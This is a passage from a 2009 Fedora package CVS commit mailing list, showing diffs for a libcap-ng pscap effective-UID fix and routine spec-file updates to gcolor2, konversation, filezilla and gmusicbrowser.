 
 #include "config.h"
 #include <stdio.h>
+#include <stdio_ext.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
 #include <dirent.h>
 #include <fcntl.h>
-#include <sys/stat.h>
 #include <pwd.h>
 #include "cap-ng.h"
 
@@ -69,11 +69,10 @@ int main(int argc, char *argv[])
 		return 1;
 	}
 	while (( ent = readdir(d) )) {
-		int pid, ppid, uid = -1;
+		int pid, ppid, uid = -1, euid;
 		char buf[100];
 		char *tmp, cmd[16], state, *name = NULL;
 		int fd, len;
-		struct stat sb;
 		struct passwd *p;
 
 		// Skip non-process dir entries
@@ -90,7 +89,6 @@ int main(int argc, char *argv[])
 		if (fd < 0)
 			continue;
 		len = read(fd, buf, sizeof buf - 1);
-		fstat(fd, &sb);
 		close(fd);
 		if (len < 40)
 			continue;
@@ -120,20 +118,47 @@ int main(int argc, char *argv[])
 		// And print out anything with capabilities
 		caps = capng_have_capabilities(CAPNG_SELECT_CAPS);
 		if (caps > CAPNG_NONE) {
+			// Get the effective uid
+			FILE *f;
+			int line;
+			snprintf(buf, 32, "/proc/%d/status", pid);
+			f = fopen(buf, "rt");
+			if (f == NULL)
+				euid = 0;
+			else {
+				line = 0;
+				__fsetlocking(f, FSETLOCKING_BYCALLER);
+				while (fgets(buf, sizeof(buf), f)) {
+					if (line == 0) {
+						line++;
+						continue;
+					}
+					if (memcmp(buf, "Uid:", 4) == 0) {
+						int id;
+						sscanf(buf, "Uid: %d %d",
+							&id, &euid);
+						break;
+					}
+				}
+				fclose(f);
+			}
+			
+			len = read(fd, buf, sizeof buf - 1);
+			close(fd);
 			if (header == 0) {
 				printf("%-5s %-5s %-10s  %-16s  %s\n",
 				    "ppid", "pid", "name", "command",
 				    "capabilities");
 				header = 1;
 			}
-			if (sb.st_uid == 0) {
+			if (euid == 0) {
 				// Take short cut for this one
 				name = "root";
 				uid = 0;
-			} else if (uid != (int)sb.st_uid) {
+			} else if (euid != uid) {
 				// Only look up if name changed
-				p = getpwuid(sb.st_uid);
-				uid = sb.st_uid;
+				p = getpwuid(euid);
+				uid = euid;
 				if (p)
 					name = p->pw_name;
 				// If not taking this branch, use last val


Index: libcap-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcap-ng/F-12/libcap-ng.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- libcap-ng.spec	28 Sep 2009 17:24:50 -0000	1.12
+++ libcap-ng.spec	3 Oct 2009 13:10:37 -0000	1.13
@@ -3,11 +3,12 @@
 Summary: An alternate posix capabilities library
 Name: libcap-ng
 Version: 0.6.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://people.redhat.com/sgrubb/libcap-ng
 Source0: http://people.redhat.com/sgrubb/libcap-ng/%{name}-%{version}.tar.gz
+Patch1: libcap-ng-0.6.3-euid.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: kernel-headers >= 2.6.11 
 BuildRequires: libattr-devel
@@ -49,6 +50,7 @@ lets you set the file system based capab
 
 %prep
 %setup -q
+%patch1 -p1
 
 %build
 %configure --libdir=/%{_lib}
@@ -107,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0644,root,root) %{_mandir}/man8/*
 
 %changelog
+* Sat Oct 03 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-2
+- Apply patch correcting pscap and netcap acct detection
+
 * Mon Sep 28 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-1
 - New upstream release
 



From cwickert at fedoraproject.org  Sat Oct  3 12:09:04 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat,  3 Oct 2009 12:09:04 +0000 (UTC)
Subject: rpms/gcolor2/F-11 gcolor2-0.4-missing-includes.patch, NONE,
	1.1 gcolor2.spec, 1.1, 1.2
Message-ID: <20091003120904.BEBF811C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gcolor2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25619/F-11

Modified Files:
	gcolor2.spec 
Added Files:
	gcolor2-0.4-missing-includes.patch 
Log Message:
* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
- Fix missing includes (#525783)


gcolor2-0.4-missing-includes.patch:
 callbacks.c |    2 ++
 main.c      |    8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

--- NEW FILE gcolor2-0.4-missing-includes.patch ---
Nur in gcolor2-0.4/po: potfiles.
diff -dur gcolor2-0.4.orig/src/callbacks.c gcolor2-0.4/src/callbacks.c
--- gcolor2-0.4.orig/src/callbacks.c	2005-07-12 20:06:12.000000000 +0200
+++ gcolor2-0.4/src/callbacks.c	2009-10-03 13:56:41.000000000 +0200
@@ -9,6 +9,8 @@
 #include "interface.h"
 #include "support.h"
 
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkWidget        *savedialog;
 gchar            *colorname;
diff -dur gcolor2-0.4.orig/src/main.c gcolor2-0.4/src/main.c
--- gcolor2-0.4.orig/src/main.c	2005-07-11 16:55:49.000000000 +0200
+++ gcolor2-0.4/src/main.c	2009-10-03 13:59:32.000000000 +0200
@@ -8,6 +8,9 @@
 #include "interface.h"
 #include "support.h"
 #include "callbacks.h"
+#include <stdlib.h>
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkListStore *liststore;
 GdkWindow    *gdkwin;
@@ -48,8 +51,6 @@
 
 void add_list_color (gchar *spec, gchar *name, gchar *type, gboolean is_new_color)
 {
-	GdkPixmap   *pixmap;
-	GdkBitmap   *mask;
 	GdkPixbuf   *buf;
 	GtkTreeIter  iter;
 	
@@ -103,7 +104,7 @@
 	gchar *name;
 	gchar  buffer[512];
 	gchar  spec[8];
-	gint   r, g, b, lr, lg, lb;
+	gint   r, g, b, lr=0, lg=0, lb=0;
 	
 	fp = fopen (filename, "r");
 	if (!fp)
@@ -140,7 +141,6 @@
 	GtkTreeViewColumn *column;
 	GtkWidget         *treeview;
 	GtkTreeSelection  *select;
-	gchar             *buf;
 	
 #ifdef ENABLE_NLS
 	bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR);


Index: gcolor2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcolor2/F-11/gcolor2.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcolor2.spec	6 May 2009 22:27:41 -0000	1.1
+++ gcolor2.spec	3 Oct 2009 12:09:04 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           gcolor2
 Version:        0.4
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        A simple color selector for GTK+2
 
 Group:          Applications/Publishing
@@ -8,6 +8,7 @@ License:        GPLv2
 URL:            http://gcolor2.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
 Source1:        %{name}.desktop
+Patch0:         %{name}-0.4-missing-includes.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildRequires:  gtk2-devel perl(XML::Parser) desktop-file-utils
@@ -18,9 +19,11 @@ ported to use GTK+2, and now has a compl
 
 %prep
 %setup -q
+%patch0 -p1 -b .missing
 # make sure path to icon is correct
 sed -i 's!/usr/share!%{_datadir}!' %{SOURCE1}
 
+
 %build
 %configure
 make %{?_smp_mflags}
@@ -46,5 +49,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
+* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
+- Fix missing includes (#525783)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 16 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-1
 - Initial Fedora package



From rdieter at fedoraproject.org  Sat Oct  3 13:58:55 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 13:58:55 +0000 (UTC)
Subject: rpms/konversation/F-11 .cvsignore, 1.9, 1.10 konversation.spec, 1.29,
	1.30 sources, 1.9,
	1.10 konversation-1.2-ircview_autoexpand.patch, 1.1, NONE
Message-ID: <20091003135855.D15CE11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11995

Modified Files:
	.cvsignore konversation.spec sources 
Removed Files:
	konversation-1.2-ircview_autoexpand.patch 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
- konversation-1.2-rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	21 Sep 2009 11:39:23 -0000	1.9
+++ .cvsignore	3 Oct 2009 13:58:55 -0000	1.10
@@ -1 +1 @@
-konversation-1.2-beta1.tar.bz2
+konversation-1.2-rc1.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/konversation.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- konversation.spec	21 Sep 2009 19:06:46 -0000	1.29
+++ konversation.spec	3 Oct 2009 13:58:55 -0000	1.30
@@ -1,23 +1,18 @@
 
-%define pre beta1 
-#define pre 20090921svn
+%define pre rc1 
 
 Name:           konversation
 Version:        1.2
-Release:        0.11.%{pre}%{?dist}
+Release:        0.12.%{pre}%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://konversation.kde.org/
-Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
-#Source0:        konversation-1.2-%{pre}.tar.bz2 
+Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
+#Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-## upstream patches
-# http://websvn.kde.org/?view=rev&revision=1026398
-Patch100: konversation-1.2-ircview_autoexpand.patch
-
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  kdelibs4-devel
@@ -40,11 +35,8 @@ to chat windows; configurable background
 %prep
 %setup -q -n %{name}-%{version}%{?pre:-%{pre}}
 
-%patch100 -p4 -b .ircview_autoexpand
-
 
 %build
-
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} ..
@@ -97,6 +89,9 @@ fi
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
+- konversation-1.2-rc1
+
 * Mon Sep 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.11.beta1
 - With auto-expand input box, ircview doesn't scroll (kdebug #208097)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	21 Sep 2009 11:39:23 -0000	1.9
+++ sources	3 Oct 2009 13:58:55 -0000	1.10
@@ -1 +1 @@
-8f6c352a5f0d0349fe2505c0e7f62192  konversation-1.2-beta1.tar.bz2
+9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2


--- konversation-1.2-ircview_autoexpand.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct  3 13:57:32 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 13:57:32 +0000 (UTC)
Subject: rpms/konversation/devel .cvsignore, 1.11, 1.12 konversation.spec,
	1.35, 1.36 sources, 1.11,
	1.12 konversation-1.2-ircview_autoexpand.patch, 1.1, NONE
Message-ID: <20091003135733.0D77211C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11762/devel

Modified Files:
	.cvsignore konversation.spec sources 
Removed Files:
	konversation-1.2-ircview_autoexpand.patch 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
- konversation-1.2-rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	21 Sep 2009 11:37:35 -0000	1.11
+++ .cvsignore	3 Oct 2009 13:57:31 -0000	1.12
@@ -1 +1 @@
-konversation-1.2-beta1.tar.bz2
+konversation-1.2-rc1.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/konversation.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- konversation.spec	21 Sep 2009 18:57:47 -0000	1.35
+++ konversation.spec	3 Oct 2009 13:57:32 -0000	1.36
@@ -1,23 +1,18 @@
 
-%define pre beta1 
-#define pre 20090921svn
+%define pre rc1 
 
 Name:           konversation
 Version:        1.2
-Release:        0.11.%{pre}%{?dist}
+Release:        0.12.%{pre}%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://konversation.kde.org/
-Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
-#Source0:        konversation-1.2-%{pre}.tar.bz2 
+Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
+#Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-## upstream patches
-# http://websvn.kde.org/?view=rev&revision=1026398
-Patch100: konversation-1.2-ircview_autoexpand.patch
-
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  kdelibs4-devel
@@ -40,11 +35,8 @@ to chat windows; configurable background
 %prep
 %setup -q -n %{name}-%{version}%{?pre:-%{pre}}
 
-%patch100 -p4 -b .ircview_autoexpand
-
 
 %build
-
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} ..
@@ -97,6 +89,9 @@ fi
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
+- konversation-1.2-rc1
+
 * Mon Sep 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.11.beta1
 - With auto-expand input box, ircview doesn't scroll (kdebug #208097)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	21 Sep 2009 11:37:35 -0000	1.11
+++ sources	3 Oct 2009 13:57:32 -0000	1.12
@@ -1 +1 @@
-8f6c352a5f0d0349fe2505c0e7f62192  konversation-1.2-beta1.tar.bz2
+9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2


--- konversation-1.2-ircview_autoexpand.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct  3 13:57:32 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 13:57:32 +0000 (UTC)
Subject: rpms/konversation/F-12 .cvsignore, 1.11, 1.12 konversation.spec,
	1.35, 1.36 sources, 1.11,
	1.12 konversation-1.2-ircview_autoexpand.patch, 1.1, NONE
Message-ID: <20091003135733.1222711C0296@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11762/F-12

Modified Files:
	.cvsignore konversation.spec sources 
Removed Files:
	konversation-1.2-ircview_autoexpand.patch 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
- konversation-1.2-rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	21 Sep 2009 11:37:35 -0000	1.11
+++ .cvsignore	3 Oct 2009 13:57:32 -0000	1.12
@@ -1 +1 @@
-konversation-1.2-beta1.tar.bz2
+konversation-1.2-rc1.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/konversation.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- konversation.spec	21 Sep 2009 18:57:47 -0000	1.35
+++ konversation.spec	3 Oct 2009 13:57:32 -0000	1.36
@@ -1,23 +1,18 @@
 
-%define pre beta1 
-#define pre 20090921svn
+%define pre rc1 
 
 Name:           konversation
 Version:        1.2
-Release:        0.11.%{pre}%{?dist}
+Release:        0.12.%{pre}%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://konversation.kde.org/
-Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
-#Source0:        konversation-1.2-%{pre}.tar.bz2 
+Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
+#Source0:        http://download.berlios.de/konversation/konversation-%{version}%{?pre:-%{pre}}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-## upstream patches
-# http://websvn.kde.org/?view=rev&revision=1026398
-Patch100: konversation-1.2-ircview_autoexpand.patch
-
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  kdelibs4-devel
@@ -40,11 +35,8 @@ to chat windows; configurable background
 %prep
 %setup -q -n %{name}-%{version}%{?pre:-%{pre}}
 
-%patch100 -p4 -b .ircview_autoexpand
-
 
 %build
-
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} ..
@@ -97,6 +89,9 @@ fi
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
+- konversation-1.2-rc1
+
 * Mon Sep 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.11.beta1
 - With auto-expand input box, ircview doesn't scroll (kdebug #208097)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	21 Sep 2009 11:37:35 -0000	1.11
+++ sources	3 Oct 2009 13:57:32 -0000	1.12
@@ -1 +1 @@
-8f6c352a5f0d0349fe2505c0e7f62192  konversation-1.2-beta1.tar.bz2
+9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2


--- konversation-1.2-ircview_autoexpand.patch DELETED ---



From kwizart at fedoraproject.org  Sat Oct  3 14:09:44 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sat,  3 Oct 2009 14:09:44 +0000 (UTC)
Subject: rpms/filezilla/F-12 sources,1.44,1.45 filezilla.spec,1.50,1.51
Message-ID: <20091003140944.331BF11C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14135

Modified Files:
	sources filezilla.spec 
Log Message:
Update to 3.2.8-rc1



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	29 Aug 2009 14:04:01 -0000	1.44
+++ sources	3 Oct 2009 14:09:43 -0000	1.45
@@ -1 +1 @@
-b65a626e2c5854a6061d4e577614231b  FileZilla_3.2.7.1_src.tar.bz2
+226146de47f95c7d2c5386a9c20f1976  FileZilla_3.2.8-rc1_src.tar.bz2


Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/filezilla.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- filezilla.spec	29 Aug 2009 14:04:01 -0000	1.50
+++ filezilla.spec	3 Oct 2009 14:09:43 -0000	1.51
@@ -1,8 +1,8 @@
-#global fz_rc   rc1
+%global fz_rc   rc1
 
 Name:           filezilla
-Version:        3.2.7.1
-Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
+Version:        3.2.8
+Release:        0.1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
 Group:          Applications/Internet
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Sat Oct  3 2009 kwizart < kwizart at gmail.com > - 3.2.8-0.1-rc1
+- Update to 3.2.8-rc1
+
 * Sat Aug 29 2009 kwizart < kwizart at gmail.com > - 3.2.7.1-1
 - Update to 3.2.7.1
 



From remi at fedoraproject.org  Sat Oct  3 14:10:27 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat,  3 Oct 2009 14:10:27 +0000 (UTC)
Subject: rpms/gmusicbrowser/devel .cvsignore, 1.2, 1.3 gmusicbrowser.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091003141027.BB97A11C029E@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/gmusicbrowser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14312

Modified Files:
	.cvsignore gmusicbrowser.spec sources 
Log Message:
update to 1.0.2 (bugfixes)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Apr 2009 18:32:44 -0000	1.2
+++ .cvsignore	3 Oct 2009 14:10:27 -0000	1.3
@@ -1 +1 @@
-gmusicbrowser-1.0.1.tar.gz
+gmusicbrowser-1.0.2.tar.gz


Index: gmusicbrowser.spec
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/devel/gmusicbrowser.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gmusicbrowser.spec	25 Jul 2009 00:29:58 -0000	1.2
+++ gmusicbrowser.spec	3 Oct 2009 14:10:27 -0000	1.3
@@ -1,7 +1,7 @@
 Name:      gmusicbrowser
 Summary:   Jukebox for large collections of music files
-Version:   1.0.1
-Release:   3%{?dist}
+Version:   1.0.2
+Release:   1%{?dist}
 License:   GPLv3+
 Group:     Applications/Multimedia
 
@@ -43,8 +43,6 @@ Main features :
 %prep
 %setup -q
 
-# Fix Makefile to preserve Timestamp
-sed -ie 's/install /install -p /' Makefile
 
 cat <<EOF > %{name}-req
 #!/bin/sh
@@ -101,6 +99,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %changelog
+* Sat Oct 03 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.2-1
+- new upstream version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Apr 2009 18:32:44 -0000	1.2
+++ sources	3 Oct 2009 14:10:27 -0000	1.3
@@ -1 +1 @@
-f088bc27f4c1ddfb46e441b879560398  gmusicbrowser-1.0.1.tar.gz
+b5a3839d0e1a55151657d2192a6a8a41  gmusicbrowser-1.0.2.tar.gz



From remi at fedoraproject.org  Sat Oct  3 14:21:13 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat,  3 Oct 2009 14:21:13 +0000 (UTC)
Subject: rpms/gmusicbrowser/F-11 gmusicbrowser.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091003142113.7453611C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/gmusicbrowser/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16567

Modified Files:
	gmusicbrowser.spec sources 
Log Message:
update to 1.0.2 (bugfixes)


Index: gmusicbrowser.spec
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-11/gmusicbrowser.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gmusicbrowser.spec	12 Apr 2009 18:33:42 -0000	1.1
+++ gmusicbrowser.spec	3 Oct 2009 14:21:13 -0000	1.2
@@ -1,7 +1,7 @@
 Name:      gmusicbrowser
 Summary:   Jukebox for large collections of music files
-Version:   1.0.1
-Release:   2%{?dist}
+Version:   1.0.2
+Release:   1%{?dist}
 License:   GPLv3+
 Group:     Applications/Multimedia
 
@@ -43,8 +43,6 @@ Main features :
 %prep
 %setup -q
 
-# Fix Makefile to preserve Timestamp
-sed -ie 's/install /install -p /' Makefile
 
 cat <<EOF > %{name}-req
 #!/bin/sh
@@ -101,6 +99,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %changelog
+* Sat Oct 03 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.2-1
+- new upstream version
+
 * Sun Apr 12 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.1-2
 - From review (#485961)
 - preserve timestamp


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Apr 2009 18:32:44 -0000	1.2
+++ sources	3 Oct 2009 14:21:13 -0000	1.3
@@ -1 +1 @@
-f088bc27f4c1ddfb46e441b879560398  gmusicbrowser-1.0.1.tar.gz
+b5a3839d0e1a55151657d2192a6a8a41  gmusicbrowser-1.0.2.tar.gz



From remi at fedoraproject.org  Sat Oct  3 14:24:35 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat,  3 Oct 2009 14:24:35 +0000 (UTC)
Subject: rpms/gmusicbrowser/F-10 gmusicbrowser.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091003142435.D287911C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/gmusicbrowser/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17250

Modified Files:
	gmusicbrowser.spec sources 
Log Message:
update to 1.0.2 (bugfixes)


Index: gmusicbrowser.spec
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-10/gmusicbrowser.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gmusicbrowser.spec	12 Apr 2009 18:45:31 -0000	1.1
+++ gmusicbrowser.spec	3 Oct 2009 14:24:35 -0000	1.2
@@ -1,7 +1,7 @@
 Name:      gmusicbrowser
 Summary:   Jukebox for large collections of music files
-Version:   1.0.1
-Release:   2%{?dist}
+Version:   1.0.2
+Release:   1%{?dist}
 License:   GPLv3+
 Group:     Applications/Multimedia
 
@@ -43,8 +43,6 @@ Main features :
 %prep
 %setup -q
 
-# Fix Makefile to preserve Timestamp
-sed -ie 's/install /install -p /' Makefile
 
 cat <<EOF > %{name}-req
 #!/bin/sh
@@ -101,6 +99,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %changelog
+* Sat Oct 03 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.2-1
+- new upstream version
+
 * Sun Apr 12 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.1-2
 - From review (#485961)
 - preserve timestamp


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Apr 2009 18:45:31 -0000	1.2
+++ sources	3 Oct 2009 14:24:35 -0000	1.3
@@ -1 +1 @@
-f088bc27f4c1ddfb46e441b879560398  gmusicbrowser-1.0.1.tar.gz
+b5a3839d0e1a55151657d2192a6a8a41  gmusicbrowser-1.0.2.tar.gz



From remi at fedoraproject.org  Sat Oct  3 14:15:55 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Sat,  3 Oct 2009 14:15:55 +0000 (UTC)
Subject: rpms/gmusicbrowser/F-12 gmusicbrowser.spec,1.2,1.3 sources,1.2,1.3
Message-ID: <20091003141555.93A7A11C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/gmusicbrowser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15425

Modified Files:
	gmusicbrowser.spec sources 
Log Message:
update to 1.0.2 (bugfixes)


Index: gmusicbrowser.spec
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-12/gmusicbrowser.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gmusicbrowser.spec	25 Jul 2009 00:29:58 -0000	1.2
+++ gmusicbrowser.spec	3 Oct 2009 14:15:55 -0000	1.3
@@ -1,7 +1,7 @@
 Name:      gmusicbrowser
 Summary:   Jukebox for large collections of music files
-Version:   1.0.1
-Release:   3%{?dist}
+Version:   1.0.2
+Release:   1%{?dist}
 License:   GPLv3+
 Group:     Applications/Multimedia
 
@@ -43,8 +43,6 @@ Main features :
